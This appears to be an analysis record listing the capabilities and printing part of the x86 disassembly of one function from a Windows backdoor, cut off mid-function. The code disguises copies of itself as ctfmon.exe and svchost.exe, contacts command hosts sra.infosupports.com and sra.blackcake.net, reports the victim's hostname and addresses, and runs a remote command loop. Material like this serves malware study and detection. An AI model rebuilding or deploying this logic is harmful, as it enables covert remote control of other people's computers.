Function at 0x10006a5e
Capabilities:
Act as tcp client
Check internet connectivity via wininet
Connect socket
Connect tcp socket
Connect udp socket
Copy file
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create tcp socket
Create thread
Create two anonymous pipes
Create udp socket
Delete file
Execute shell command and capture output
Get common file path
Get hostname
Get socket status
Impersonate user
Initialize winsock library
Read file on windows
Resolve dns
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10063726
mov eax, dword fs:[0]
push eax
mov eax, 0x5700
call fcn.10033d60
mov eax, dword [0x1007f018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x2509], 0xd
jb 0x100028d5
jae 0x100028d5
call 0xe50aea0
invalid
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2510], 0x5c
mov al, byte [0x1007d020]
mov byte [ebp - 0x24fc], al
push 0x1fff
push 0
lea ecx, [ebp - 0x24fb]
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
mov dword [ebp - 0x2f8], 5
mov dword [ebp - 0x2f4], 0x1f4
mov dword [ebp - 0x2e8], 1
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x2f0], 0xc
lea edx, [ebp - 0x1a4]
push edx
push 0x101
call sub.WS2_32.dll_WSAStartup
mov dword [ebp - 0x2508], eax
cmp dword [ebp - 0x2508], 0
je 0x10002987
push 0x1b7740
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000295a
call fcn.100075f0
mov dword [ebp - 0x2514], eax
cmp dword [ebp - 0x2514], 0
jne 0x100029a0
jmp 0x100075d2
cmp dword [ebp - 0x2514], 1
jne 0x10002e22
call fcn.10001000
push 0x104
push 0
lea eax, [ebp - 0x272c]
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x272c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0x272c]
add edx, 0xffffffff
mov dword [ebp - 0x5218], edx
mov eax, dword [ebp - 0x5218]
mov cl, byte [eax + 1]
mov byte [ebp - 0x5219], cl
add dword [ebp - 0x5218], 1
cmp byte [ebp - 0x5219], 0
jne 0x100029e9
mov edi, dword [ebp - 0x5218]
mov edx, dword [0x1007d094]
mov dword [edi], edx
mov eax, dword [0x1007d098]
mov dword [edi + 4], eax
mov cl, byte [0x1007d09c]
mov byte [edi + 8], cl
push 0x104
push 0
lea edx, [ebp - 0x2624]
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2624]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x2624]
add ecx, 0xffffffff
mov dword [ebp - 0x5220], ecx
mov edx, dword [ebp - 0x5220]
mov al, byte [edx + 1]
mov byte [ebp - 0x5221], al
add dword [ebp - 0x5220], 1
cmp byte [ebp - 0x5221], 0
jne 0x10002a5e
mov edi, dword [ebp - 0x5220]
mov ecx, dword [str.ctfmon.exe]
mov dword [edi], ecx
mov edx, dword [0x1007d0a4]
mov dword [edi + 4], edx
mov ax, word [0x1007d0a8]
mov word [edi + 8], ax
mov cl, byte [0x1007d0aa]
mov byte [edi + 0xa], cl
push 0x104
push 0
lea edx, [ebp - 0x2834]
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x2834]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x2624]
add ecx, 0xffffffff
mov dword [ebp - 0x5228], ecx
mov edx, dword [ebp - 0x5228]
mov al, byte [edx + 1]
mov byte [ebp - 0x5229], al
add dword [ebp - 0x5228], 1
cmp byte [ebp - 0x5229], 0
jne 0x10002ade
mov edi, dword [ebp - 0x5228]
mov ecx, dword [str._svchost.exe]
mov dword [edi], ecx
mov edx, dword [0x1007d0b0]
mov dword [edi + 4], edx
mov eax, dword [0x1007d0b4]
mov dword [edi + 8], eax
mov cl, byte [0x1007d0b8]
mov byte [edi + 0xc], cl
push 0
lea edx, [ebp - 0x2624]
push edx
lea eax, [ebp - 0x272c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x10002b5f
push 0x104
push 0
lea ecx, [ebp - 0x2624]
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
jmp 0x10002e18
push 0x1007d0bc
lea edx, [ebp - 0x2624]
push edx
call dword [sym.imp.MSVCR80.dll_fopen]
add esp, 8
mov dword [ebp - 0x2838], eax
cmp dword [ebp - 0x2838], 0
jne 0x10002b9a
lea eax, [ebp - 0x2624]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x10002e18
mov dword [ebp - 0x2840], 0
mov dword [ebp - 0x3048], 0
mov word [ebp - 0x3044], 0
push 0x7fe
push 0
lea ecx, [ebp - 0x3042]
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
mov edx, 1
test edx, edx
je 0x10002e08
mov eax, dword [ebp - 0x2838]
push eax
push 0x400
push 2
lea ecx, [ebp - 0x3044]
push ecx
call dword [sym.imp.MSVCR80.dll_fread]
add esp, 0x10
mov dword [ebp - 0x283c], eax
mov dword [ebp - 0x2840], 0
jmp 0x10002c19
mov edx, dword [ebp - 0x2840]
add edx, 1
mov dword [ebp - 0x2840], edx
mov dword [ebp - 0x5230], 0x1007d0c0
mov eax, dword [ebp - 0x5230]
add eax, 2
mov dword [ebp - 0x5234], eax
mov ecx, dword [ebp - 0x5230]
mov dx, word [ecx]
mov word [ebp - 0x5236], dx
add dword [ebp - 0x5230], 2
cmp word [ebp - 0x5236], 0
jne 0x10002c32
mov eax, dword [ebp - 0x5230]
sub eax, dword [ebp - 0x5234]
sar eax, 1
mov dword [ebp - 0x523c], eax
mov ecx, 0x400
sub ecx, dword [ebp - 0x523c]
cmp dword [ebp - 0x2840], ecx
jae 0x10002dd6
mov dword [ebp - 0x5240], 0x1007d0c0
mov edx, dword [ebp - 0x5240]
add edx, 2
mov dword [ebp - 0x5244], edx
mov eax, dword [ebp - 0x5240]
mov cx, word [eax]
mov word [ebp - 0x5246], cx
add dword [ebp - 0x5240], 2
cmp word [ebp - 0x5246], 0
jne 0x10002c97
mov edx, dword [ebp - 0x5240]
sub edx, dword [ebp - 0x5244]
sar edx, 1
mov dword [ebp - 0x524c], edx
mov eax, dword [ebp - 0x524c]
push eax
push 0x1007d0c0
mov ecx, dword [ebp - 0x2840]
lea edx, [ebp + ecx*2 - 0x3044]
push edx
call dword [sym.imp.MSVCR80.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x10002dd1
push 0
mov eax, dword [ebp - 0x3048]
shl eax, 0xa
add eax, dword [ebp - 0x2840]
shl eax, 1
push eax
mov ecx, dword [ebp - 0x2838]
push ecx
call dword [sym.imp.MSVCR80.dll_fseek]
add esp, 0xc
mov dword [ebp - 0x5250], str.Macrosoft_Corp.
mov edx, dword [ebp - 0x5250]
add edx, 2
mov dword [ebp - 0x5254], edx
mov eax, dword [ebp - 0x5250]
mov cx, word [eax]
mov word [ebp - 0x5256], cx
add dword [ebp - 0x5250], 2
cmp word [ebp - 0x5256], 0
jne 0x10002d34
mov edx, dword [ebp - 0x5250]
sub edx, dword [ebp - 0x5254]
sar edx, 1
mov dword [ebp - 0x525c], edx
mov eax, dword [ebp - 0x2838]
push eax
mov ecx, dword [ebp - 0x525c]
push ecx
push 2
push str.Macrosoft_Corp.
call dword [sym.imp.MSVCR80.dll_fwrite]
add esp, 0x10
mov edx, dword [ebp - 0x2838]
push edx
call dword [sym.imp.MSVCR80.dll_fclose]
add esp, 4
push 0
lea eax, [ebp - 0x2834]
push eax
lea ecx, [ebp - 0x2624]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x10002dc1
lea edx, [ebp - 0x2624]
mov dword [ebp - 0x2e4], edx
jmp 0x10002e22
lea eax, [ebp - 0x2834]
mov dword [ebp - 0x2e4], eax
jmp 0x10002e22
jmp 0x10002c0a
cmp dword [ebp - 0x283c], 0x400
jge 0x10002df4
mov ecx, dword [ebp - 0x2838]
push ecx
call dword [sym.imp.MSVCR80.dll_fclose]
add esp, 4
jmp 0x10002e18
mov edx, dword [ebp - 0x3048]
add edx, 1
mov dword [ebp - 0x3048], edx
jmp 0x10002bcd
mov eax, dword [ebp - 0x2838]
push eax
call dword [sym.imp.MSVCR80.dll_fclose]
add esp, 4
mov dword [ebp - 0x2e4], str.cmd.exe
push 0
push 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x10002e45
push 0x927c0
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.WS2_32.dll_WSACleanup
jmp 0x1000295a
push str.sra.infosupports.com
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x2518], eax
cmp dword [ebp - 0x2518], 0
jne 0x10002e73
push 0x927c0
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.WS2_32.dll_WSACleanup
jmp 0x1000295a
mov ecx, dword [ebp - 0x2518]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
mov dword [ebp - 0x2d8], eax
push 0x32
push 0
push str.sra.infosupports.com
call sub.MSVCR80.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x2d8]
mov dword [ebp - 0x5260], edx
mov dword [ebp - 0x5264], str.sra.infosupports.com
mov eax, dword [ebp - 0x5264]
mov dword [ebp - 0x5268], eax
mov ecx, dword [ebp - 0x5260]
mov dl, byte [ecx]
mov byte [ebp - 0x5269], dl
mov eax, dword [ebp - 0x5264]
mov cl, byte [ebp - 0x5269]
mov byte [eax], cl
mov edx, dword [ebp - 0x5260]
add edx, 1
mov dword [ebp - 0x5260], edx
mov eax, dword [ebp - 0x5264]
add eax, 1
mov dword [ebp - 0x5264], eax
cmp byte [ebp - 0x5269], 0
jne 0x10002ebf
mov dword [ebp - 0x2500], str.sra.infosupports.com
mov dword [ebp - 0x10], 0x1008a518
call fcn.10029540
call fcn.10029530
mov dword [ebp - 0x2504], eax
mov ecx, dword [ebp - 0x2504]
push ecx
call fcn.10028da0
add esp, 4
mov dword [0x1008c70c], eax
call fcn.10009b90
call fcn.10009b30
test eax, eax
jne 0x10002f73
call dword [sym.imp.MSVCR80.dll_rand]
and eax, 0x8000ffff
jns 0x10002f59
dec eax
or eax, 0xffff0000
inc eax
mov word [ebp - 0x304c], ax
push 2
lea edx, [ebp - 0x304c]
push edx
call fcn.10009980
add esp, 8
jmp 0x10002f3c
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [0x10096828], eax
cmp dword [0x10096828], 0xffffffff
jne 0x10002f91
jmp 0x10002e45
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.MSVCR80.dll_atol]
add esp, 4
push eax
call sub.WS2_32.dll_htons
mov word [ebp - 0x1be], ax
mov word [ebp - 0x1c0], 2
mov ecx, dword [ebp - 0x2500]
push ecx
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x1bc], eax
push 0x10
lea edx, [ebp - 0x1c0]
push edx
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_connect
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
je 0x100030e0
xor eax, eax
call fcn.10002380
push eax
call dword [sym.imp.MSVCR80.dll_srand]
add esp, 4
call dword [sym.imp.MSVCR80.dll_rand]
cdq
mov ecx, 0x28
idiv ecx
imul edx, edx, 0xea60
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.sra.blackcake.net
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x2518], eax
cmp dword [ebp - 0x2518], 0
jne 0x10003047
push 0x927c0
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.WS2_32.dll_WSACleanup
jmp 0x1000295a
mov edx, dword [ebp - 0x2518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
mov dword [ebp - 0x2d8], eax
push 0x32
push 0
push str.sra.infosupports.com
call sub.MSVCR80.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x5270], eax
mov dword [ebp - 0x5274], str.sra.infosupports.com
mov ecx, dword [ebp - 0x5274]
mov dword [ebp - 0x5278], ecx
mov edx, dword [ebp - 0x5270]
mov al, byte [edx]
mov byte [ebp - 0x5279], al
mov ecx, dword [ebp - 0x5274]
mov dl, byte [ebp - 0x5279]
mov byte [ecx], dl
mov eax, dword [ebp - 0x5270]
add eax, 1
mov dword [ebp - 0x5270], eax
mov ecx, dword [ebp - 0x5274]
add ecx, 1
mov dword [ebp - 0x5274], ecx
cmp byte [ebp - 0x5279], 0
jne 0x10003093
jmp 0x10002e45
push 0x2000
push 0
push 0x10092828
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x2000
push 0
push 0x10094828
call sub.MSVCR80.dll_memset
add esp, 0xc
mov edx, dword [0x1008c70c]
push edx
call fcn.10028350
add esp, 4
mov dword [0x1008e814], eax
mov eax, dword [0x10096828]
push eax
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028800
add esp, 8
mov edx, dword [0x1008e814]
push edx
call fcn.100288b0
add esp, 4
mov eax, 0x10092828
add eax, 0xffffffff
mov dword [ebp - 0x5280], eax
mov ecx, dword [ebp - 0x5280]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x5281], dl
add dword [ebp - 0x5280], 1
cmp byte [ebp - 0x5281], 0
jne 0x1000314e
mov edi, dword [ebp - 0x5280]
mov eax, dword [str.host]
mov dword [edi], eax
mov cx, word [0x1007d10c]
mov word [edi + 4], cx
push 0x80
lea edx, [ebp - 0x30cc]
push edx
call sub.WS2_32.dll_gethostname
test eax, eax
jne 0x100033d2
lea eax, [ebp - 0x30cc]
mov dword [ebp - 0x5288], eax
mov ecx, dword [ebp - 0x5288]
mov dword [ebp - 0x528c], ecx
mov edx, dword [ebp - 0x5288]
mov al, byte [edx]
mov byte [ebp - 0x528d], al
add dword [ebp - 0x5288], 1
cmp byte [ebp - 0x528d], 0
jne 0x100031b6
mov ecx, dword [ebp - 0x5288]
sub ecx, dword [ebp - 0x528c]
mov edx, dword [ebp - 0x528c]
mov dword [ebp - 0x5294], edx
mov dword [ebp - 0x5298], ecx
mov eax, 0x10092828
add eax, 0xffffffff
mov dword [ebp - 0x529c], eax
mov ecx, dword [ebp - 0x529c]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x529d], dl
add dword [ebp - 0x529c], 1
cmp byte [ebp - 0x529d], 0
jne 0x10003200
mov edi, dword [ebp - 0x529c]
mov esi, dword [ebp - 0x5294]
mov eax, dword [ebp - 0x5298]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x10092828
add ecx, 0xffffffff
mov dword [ebp - 0x52a4], ecx
mov edx, dword [ebp - 0x52a4]
mov al, byte [edx + 1]
mov byte [ebp - 0x52a5], al
add dword [ebp - 0x52a4], 1
cmp byte [ebp - 0x52a5], 0
jne 0x1000324d
mov edi, dword [ebp - 0x52a4]
mov cx, word [0x1007ce88]
mov word [edi], cx
lea edx, [ebp - 0x30cc]
push edx
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x30d4], eax
mov dword [ebp - 0x2d0], 0
jmp 0x100032a9
mov eax, dword [ebp - 0x2d0]
add eax, 1
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x30d4], 0
je 0x100033d2
mov ecx, dword [ebp - 0x30d4]
mov edx, dword [ecx + 0xc]
mov eax, dword [ebp - 0x2d0]
cmp dword [edx + eax*4], 0
je 0x100033d2
mov ecx, dword [ebp - 0x30d4]
mov edx, dword [ecx + 0xc]
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [edx + eax*4]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
mov dword [ebp - 0x30d0], eax
mov eax, dword [ebp - 0x30d0]
mov dword [ebp - 0x52ac], eax
mov ecx, dword [ebp - 0x52ac]
mov dword [ebp - 0x52b0], ecx
mov edx, dword [ebp - 0x52ac]
mov al, byte [edx]
mov byte [ebp - 0x52b1], al
add dword [ebp - 0x52ac], 1
cmp byte [ebp - 0x52b1], 0
jne 0x10003307
mov ecx, dword [ebp - 0x52ac]
sub ecx, dword [ebp - 0x52b0]
mov edx, dword [ebp - 0x52b0]
mov dword [ebp - 0x52b8], edx
mov dword [ebp - 0x52bc], ecx
mov eax, 0x10092828
add eax, 0xffffffff
mov dword [ebp - 0x52c0], eax
mov ecx, dword [ebp - 0x52c0]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x52c1], dl
add dword [ebp - 0x52c0], 1
cmp byte [ebp - 0x52c1], 0
jne 0x10003351
mov edi, dword [ebp - 0x52c0]
mov esi, dword [ebp - 0x52b8]
mov eax, dword [ebp - 0x52bc]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x10092828
add ecx, 0xffffffff
mov dword [ebp - 0x52c8], ecx
mov edx, dword [ebp - 0x52c8]
mov al, byte [edx + 1]
mov byte [ebp - 0x52c9], al
add dword [ebp - 0x52c8], 1
cmp byte [ebp - 0x52c9], 0
jne 0x1000339e
mov edi, dword [ebp - 0x52c8]
mov cx, word [0x1007ce88]
mov word [edi], cx
jmp 0x1000329a
mov dword [ebp - 0x52d0], 0x10092828
mov edx, dword [ebp - 0x52d0]
add edx, 1
mov dword [ebp - 0x52d4], edx
mov eax, dword [ebp - 0x52d0]
mov cl, byte [eax]
mov byte [ebp - 0x52d5], cl
add dword [ebp - 0x52d0], 1
cmp byte [ebp - 0x52d5], 0
jne 0x100033eb
mov edx, dword [ebp - 0x52d0]
sub edx, dword [ebp - 0x52d4]
mov dword [ebp - 0x52dc], edx
mov eax, dword [ebp - 0x52dc]
push eax
push 0x10092828
mov ecx, dword [0x1008e814]
push ecx
call fcn.100289d0
add esp, 0xc
mov dword [ebp - 0x2508], eax
cmp dword [ebp - 0x2508], 1
jge 0x1000349a
mov edx, dword [0x1008e814]
push edx
call fcn.10028a40
add esp, 4
push 0
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_shutdown
mov ecx, dword [0x10096828]
push ecx
call sub.WS2_32.dll_closesocket
mov edx, dword [0x1008e814]
push edx
call fcn.10028640
add esp, 4
mov eax, dword [0x1008c70c]
push eax
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
mov dword [ebp - 0x2cc], 0
cmp dword [ebp - 0x2cc], 0x40
jae 0x100034cf
mov ecx, dword [ebp - 0x2cc]
mov edx, dword [0x10096828]
mov dword [ebp + ecx*4 - 0x2c8], edx
mov eax, dword [ebp - 0x2cc]
add eax, 1
mov dword [ebp - 0x2cc], eax
xor ecx, ecx
jne 0x100034a4
lea edx, [ebp - 0x2f8]
push edx
push 0
push 0
lea eax, [ebp - 0x2cc]
push eax
push 0
call sub.WS2_32.dll_select
test eax, eax
jne 0x10003546
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028a40
add esp, 4
push 0
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_shutdown
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028640
add esp, 4
mov edx, dword [0x1008c70c]
push edx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
lea eax, [ebp - 0x2cc]
push eax
mov ecx, dword [0x10096828]
push ecx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x1000357c
push 0x2000
push 0x1008c710
mov edx, dword [0x1008e814]
push edx
call fcn.10028970
add esp, 0xc
mov dword [ebp - 0x2508], eax
cmp dword [ebp - 0x2508], 1
jge 0x100035da
mov eax, dword [0x1008e814]
push eax
call fcn.10028a40
add esp, 4
push 0
mov ecx, dword [0x10096828]
push ecx
call sub.WS2_32.dll_shutdown
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_closesocket
mov eax, dword [0x1008e814]
push eax
call fcn.10028640
add esp, 4
mov ecx, dword [0x1008c70c]
push ecx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
mov dword [ebp - 0x52e0], 4
mov dword [ebp - 0x52e4], str.isok
mov dword [ebp - 0x52e8], 0x1008c710
jmp 0x10003621
mov edx, dword [ebp - 0x52e4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x52e8]
cmp dword [ecx], eax
jne 0x10003637
sub dword [ebp - 0x52e0], 4
add dword [ebp - 0x52e4], 4
add dword [ebp - 0x52e8], 4
cmp dword [ebp - 0x52e0], 4
jae 0x100035fa
cmp dword [ebp - 0x52e0], 0
je 0x1000370d
mov edx, dword [ebp - 0x52e4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x52e8]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x52ec], edx
jne 0x10003719
sub dword [ebp - 0x52e0], 1
add dword [ebp - 0x52e4], 1
add dword [ebp - 0x52e8], 1
cmp dword [ebp - 0x52e0], 0
je 0x1000370d
mov eax, dword [ebp - 0x52e4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x52e8]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x52ec], eax
jne 0x10003719
sub dword [ebp - 0x52e0], 1
add dword [ebp - 0x52e4], 1
add dword [ebp - 0x52e8], 1
cmp dword [ebp - 0x52e0], 0
je 0x1000370d
mov ecx, dword [ebp - 0x52e4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x52e8]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x52ec], ecx
jne 0x10003719
sub dword [ebp - 0x52e0], 1
add dword [ebp - 0x52e4], 1
add dword [ebp - 0x52e8], 1
cmp dword [ebp - 0x52e0], 0
je 0x1000370d
mov edx, dword [ebp - 0x52e4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x52e8]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x52ec], edx
jne 0x10003719
mov dword [ebp - 0x52f0], 0
jmp 0x10003736
mov dword [ebp - 0x52f0], 1
cmp dword [ebp - 0x52ec], 0
jg 0x10003736
mov dword [ebp - 0x52f0], 0xffffffff
mov eax, dword [ebp - 0x52f0]
mov dword [ebp - 0x52f4], eax
cmp dword [ebp - 0x52f4], 0
je 0x100037a1
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028a40
add esp, 4
push 0
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_shutdown
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028640
add esp, 4
mov edx, dword [0x1008c70c]
push edx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
push 0x2000
push 0
push 0x1008c710
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x2000
push 0x1008c710
mov eax, dword [0x1008e814]
push eax
call fcn.10028970
add esp, 0xc
mov dword [ebp - 0x2508], eax
cmp dword [ebp - 0x2508], 1
jge 0x10003832
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028a40
add esp, 4
push 0
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_shutdown
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028640
add esp, 4
mov edx, dword [0x1008c70c]
push edx
call fcn.100290c0
add esp, 4
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
push 0x2000
push 0
push 0x10092828
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x2000
push 0
push 0x10094828
call sub.MSVCR80.dll_memset
add esp, 0xc
mov dword [ebp - 0x52f8], 4
mov dword [ebp - 0x52fc], str.exit
mov dword [ebp - 0x5300], 0x1008c710
jmp 0x100038a1
mov eax, dword [ebp - 0x52fc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x5300]
cmp dword [edx], ecx
jne 0x100038b7
sub dword [ebp - 0x52f8], 4
add dword [ebp - 0x52fc], 4
add dword [ebp - 0x5300], 4
cmp dword [ebp - 0x52f8], 4
jae 0x1000387a
cmp dword [ebp - 0x52f8], 0
je 0x1000398d
mov eax, dword [ebp - 0x52fc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5300]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x5304], eax
jne 0x10003999
sub dword [ebp - 0x52f8], 1
add dword [ebp - 0x52fc], 1
add dword [ebp - 0x5300], 1
cmp dword [ebp - 0x52f8], 0
je 0x1000398d
mov ecx, dword [ebp - 0x52fc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5300]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5304], ecx
jne 0x10003999
sub dword [ebp - 0x52f8], 1
add dword [ebp - 0x52fc], 1
add dword [ebp - 0x5300], 1
cmp dword [ebp - 0x52f8], 0
je 0x1000398d
mov edx, dword [ebp - 0x52fc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5300]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x5304], edx
jne 0x10003999
sub dword [ebp - 0x52f8], 1
add dword [ebp - 0x52fc], 1
add dword [ebp - 0x5300], 1
cmp dword [ebp - 0x52f8], 0
je 0x1000398d
mov eax, dword [ebp - 0x52fc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5300]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x5304], eax
jne 0x10003999
mov dword [ebp - 0x5308], 0
jmp 0x100039b6
mov dword [ebp - 0x5308], 1
cmp dword [ebp - 0x5304], 0
jg 0x100039b6
mov dword [ebp - 0x5308], 0xffffffff
mov ecx, dword [ebp - 0x5308]
mov dword [ebp - 0x530c], ecx
cmp dword [ebp - 0x530c], 0
jne 0x10003b14
cmp dword [ebp - 0x2514], 1
jne 0x100039e2
mov edx, str.exit_n
call fcn.10007940
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x1008c700]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1008c704]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10090818]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x10092824]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1008e814]
push eax
call fcn.10028a40
add esp, 4
push 0
mov ecx, dword [0x10096828]
push ecx
call sub.WS2_32.dll_shutdown
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_closesocket
mov eax, dword [0x1008e814]
push eax
call fcn.10028640
add esp, 4
mov ecx, dword [0x1008c70c]
push ecx
call fcn.100290c0
add esp, 4
xor edx, edx
mov dword [ebp - 0x30e8], edx
mov dword [ebp - 0x30e4], edx
mov dword [ebp - 0x30e0], edx
mov dword [ebp - 0x30dc], edx
mov dword [ebp - 0x30d8], edx
mov dword [ebp - 0x5310], 0x1008c710
mov eax, dword [ebp - 0x5310]
add eax, 1
mov dword [ebp - 0x5314], eax
mov ecx, dword [ebp - 0x5310]
mov dl, byte [ecx]
mov byte [ebp - 0x5315], dl
add dword [ebp - 0x5310], 1
cmp byte [ebp - 0x5315], 0
jne 0x10003a9e
mov eax, dword [ebp - 0x5310]
sub eax, dword [ebp - 0x5314]
mov dword [ebp - 0x531c], eax
mov ecx, dword [ebp - 0x531c]
sub ecx, 4
push ecx
push 0x1008c714
lea edx, [ebp - 0x30e8]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
lea eax, [ebp - 0x30e8]
push eax
call dword [sym.imp.MSVCR80.dll_atof]
add esp, 4
fmul qword [0x1007d790]
call fcn.10063540
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
mov dword [ebp - 0x5320], 5
mov dword [ebp - 0x5324], str.bdkzt
mov dword [ebp - 0x5328], 0x1008c710
jmp 0x10003b5b
mov ecx, dword [ebp - 0x5324]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5328]
cmp dword [eax], edx
jne 0x10003b71
sub dword [ebp - 0x5320], 4
add dword [ebp - 0x5324], 4
add dword [ebp - 0x5328], 4
cmp dword [ebp - 0x5320], 4
jae 0x10003b34
cmp dword [ebp - 0x5320], 0
je 0x10003c47
mov ecx, dword [ebp - 0x5324]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5328]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x532c], ecx
jne 0x10003c53
sub dword [ebp - 0x5320], 1
add dword [ebp - 0x5324], 1
add dword [ebp - 0x5328], 1
cmp dword [ebp - 0x5320], 0
je 0x10003c47
mov edx, dword [ebp - 0x5324]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5328]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x532c], edx
jne 0x10003c53
sub dword [ebp - 0x5320], 1
add dword [ebp - 0x5324], 1
